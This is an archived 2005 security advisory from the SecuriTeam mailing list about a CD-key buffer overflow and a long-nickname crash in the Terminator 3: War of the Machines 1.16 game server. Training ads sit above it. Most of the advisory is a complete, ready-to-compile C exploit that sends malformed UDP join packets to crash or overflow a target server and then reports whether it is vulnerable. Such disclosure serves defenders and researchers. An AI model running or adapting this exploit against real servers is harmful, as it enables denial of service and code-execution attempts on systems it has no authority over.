Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[NT] Terminator 3: War of The Machines Buffer Overflow and DoS

Subject: [NT] Terminator 3: War of The Machines Buffer Overflow and DoS
Date: 29 May 2005 18:47:18 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  Terminator 3: War of The Machines Buffer Overflow and DoS
------------------------------------------------------------------------


SUMMARY

" <http://www.atari.com/us/games/terminator_3_war/pc> Terminator 3: War of 
the Machines is a multiplayer FPS game based on the homonym movie. "

A buffer overflow within the CD-Key allows attackers to execute arbitrary 
code on the Terminator 3: War of the Machines game server. A denial of 
service vulnerability allow attackers to crash a server using a too long 
nick name.

DETAILS

Vulnerable Systems:
 * Terminator 3: War of the Machines version 1.16

Buffer Overflow:
The text field containing the client CD-key hash is the cause of a 
buffer-overflow that affects the server and allow attackers to execute 
arbitrary code on the server.

Note: this is NOT the Gamespy CD-key SDK buffer-overflow.

Denial of Service:
If an attacker uses a too long nickname the server crashes for the access 
to an arbitrary zone of the memory.

Exploit:
/* t3wmbof.c */
/*

by Luigi Auriemma - http://aluigi.altervista.org/poc/t3wmbof.zip

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include "rwbits.h"

#ifdef WIN32
    #include <winsock.h>
    #include "winerr.h"

    #define close closesocket
    #define ONESEC 1000
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define ONESEC 1
#endif

#define VER "0.1"
#define BUFFSZ 4096
#define PORT 60005
#define TIMEOUT 1
#define TWAIT 3
#define NICKSZ 16
#define JOIN1 "try"
#define ANSW "try_this " /* challenge and "server_token" */
#define JOIN2 "connect " \
                    "%d " /* version */ \
                    "%d " /* challenge */ \
                    "\"%s\" " /* Gamespy cd-key */ \
                    "%s" /* nickname */
#define EIP "\xde\xc0\xad\xde"
#define BOF "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ 
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \
                    EIP

#define SEND(x,y) if(sendto(sd, x, y, 0, (struct sockaddr *)&peer, 
sizeof(peer)) \
                      < 0) std_err();
#define RECV(x,y) len = recvfrom(sd, x, y, 0, NULL, NULL); \
                    if(len < 0) std_err();

int read_bitstr(u_char *in, int inlen, u_char *out, int bits);
int write_bitstr(u_char *in, u_char *out, int bits);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz);
u_int create_rand_string(u_char *data, int len, u_int num);
int show_info(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);

struct sockaddr_in peer;

int main(int argc, char *argv[]) {
    u_int seed;
    int sd,
            tmp,
            len,
            gamever,
            chall,
            attack;
    u_short port = PORT;
    u_char buff[BUFFSZ + 1],
            str[BUFFSZ + 1],
            nick[NICKSZ + 1],
            info[] =
                "\xfe\xfd" "\x00" "\x00\x00\x00\x00" "\xff\x00\x00",
            *token,
            *p;

#ifdef WIN32
    WSADATA wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    setbuf(stdout, NULL);

    fputs("\n"
        "Terminator 3 War of the Machines <= 1.16 buffer-overflow and 
crash "VER"\n"
        "by Luigi Auriemma\n"
        "e-mail: aluigi@autistici.org\n"
        "web: http://aluigi.altervista.org\n";
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <attack> <host> [port(%d)]\n"
            "\n"
            "Attack:\n"
            " 1 = cd-key hash buffer-overflow, return address 0x%08lx\n"
            " 2 = big nickname access violation\n"
            "\n", argv[0], port, *(u_long *)EIP);
        exit(1);
    }

    attack = atoi(argv[1]);
    if(argc > 3) port = atoi(argv[3]);

    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port = htons(port);
    peer.sin_family = AF_INET;

    printf("- target %s : %hu\n",
        inet_ntoa(peer.sin_addr), port);

    fputs("- request informations\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    *(u_long *)(info + 3) = ~time(NULL);
    len = send_recv(sd, info, sizeof(info) - 1, buff, BUFFSZ);
    close(sd);

    gamever = show_info(buff, len);
    printf("\n- set game version %d\n", gamever);
    seed = time(NULL);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    *buff = 0x00;
    tmp = write_bitstr(JOIN1, buff, 2);
    len = tmp >> 3;
    if(tmp & 7) len++;

    printf("- send \"%s\" packet\n", JOIN1);
    len = send_recv(sd, buff, len, buff, BUFFSZ);

    read_bitstr(buff, len, str, 2);

    if(strncmp(str, ANSW, sizeof(ANSW) - 1)) {
        printf("\nError: wrong reply from the server:\n"
            "\n %s\n\n", str);
        exit(1);
    }
    p = str + (sizeof(ANSW) - 1);
    chall = atoi(p);
    token = strchr(p, '\"');
    if(!token) {
        printf("\nError: no server token in the server reply:\n"
            "\n %s\n\n", str);
        exit(1);
    }
    p = strchr(++token, '\"');
    if(p) *p = 0x00;

    if(attack == 1) { // buffer overflow
        create_rand_string(nick, NICKSZ, seed);
        len = sprintf(
            str,
            JOIN2,
            gamever,
            chall,
            BOF,
            nick);
    } else { // access violation
        len = sprintf(
            str,
            JOIN2,
            gamever,
            chall,
            "000000000000000000000000000000" \ 
"000000000000000000000000000000000000000000",
            BOF);
    }

    *buff = 0x00;
    tmp = write_bitstr(str, buff, 2);
    len = tmp >> 3;
    if(tmp & 7) len++;

    fputs("- send malformed join packet\n", stdout);
    len = send_recv(sd, buff, len, buff, BUFFSZ);
    close(sd);

    read_bitstr(buff, len, str, 2);

    if(strcmp(str, "connected")) {
        printf("\nError: player not accepted for the following error:\n"
            "\n %s\n\n", str);
        exit(1);
    }
    close(sd);

    sleep(ONESEC);

    fputs("- check server:\n", stdout);
    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();
    *(u_long *)(info + 3) = ~time(NULL);
    SEND(info, sizeof(info) - 1);
    if(timeout(sd) < 0) {
        fputs("\nServer IS vulnerable!!!\n\n", stdout);
    } else {
        fputs("\nServer doesn't seem vulnerable\n\n", stdout);
    }
    close(sd);
    return(0);
}

int read_bitstr(u_char *in, int inlen, u_char *out, int bits) {
    while((*out = read_bits(8, in, bits)) && inlen--) {
        bits += 8;
        out++;
    }
    return(bits);
}

int write_bitstr(u_char *in, u_char *out, int bits) {
    while(*in) {
        bits = write_bits(*in, 8, out, bits);
        in++;
    }
    bits = write_bits(0x00, 8, out, bits); // NULL
    return(bits);
}

int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) {
    int i,
            len;

    for(i = 3; i; i--) {
        SEND(in, insz);
        if(!timeout(sd)) break;
    }

    if(!i) {
        fputs("\nError: socket timeout, no reply received\n\n", stdout);
        exit(1);
    }

    RECV(out, outsz);
    return(len);
}

u_int create_rand_string(u_char *data, int len, u_int num) {
    const static u_char table[] =
        "0123456789"
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        "abcdefghijklmnopqrstuvwxyz";

    len = num % len;
    if(len < 3) len = 3;

    while(len--) {
        num = (num * 0x343FD) + 0x269EC3;
        *data++ = table[num % (sizeof(table) - 1)];
    }
    *data = 0x00;
    return(num);
}

int show_info(u_char *data, int len) {
    int nt = 0,
            ver = -1,
            d;
    u_char *limit = data + len;

    fputc('\n', stdout);
    data += 5;
    while(data < limit) {
        d = strlen(data);
        if(nt & 1) {
            if(!ver) ver = atoi(data);
            printf("%s\n", data);
        } else {
            if(!d) break;
            if(!strcmp(data, "gamever")) ver = 0;
            printf("%30s: ", data);
        }
        data += d + 1;
        nt++;
    }
    return(ver);
}

int timeout(int sock) {
    struct timeval tout;
    fd_set fd_read;
    int err;

    tout.tv_sec = TIMEOUT;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    err = select(sock + 1, &fd_read, NULL, NULL, &tout);
    if(err < 0) std_err();
    if(!err) return(-1);
    return(0);
}

u_long resolv(char *host) {
    struct hostent *hp;
    u_long host_ip;

    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
        hp = gethostbyname(host);
        if(!hp) {
            printf("\nError: Unable to resolv hostname (%s)\n", host);
            exit(1);
        } else host_ip = *(u_long *)hp->h_addr;
    }
    return(host_ip);
}

#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif

/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:aluigi@autistici.org> Luigi 
Auriemma.
You can obtain a copy of winerr.h at:  
<http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html > 
http://www.securiteam.com/unixfocus/5UP0I1FC0Y.html 
You can obtain a copy of rwbits.h at:  
<http://www.securiteam.com/windowsntfocus/6C0021PC0Y.html> 
http://www.securiteam.com/windowsntfocus/6C0021PC0Y.html



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [NT] Terminator 3: War of The Machines Buffer Overflow and DoS, SecuriTeam <=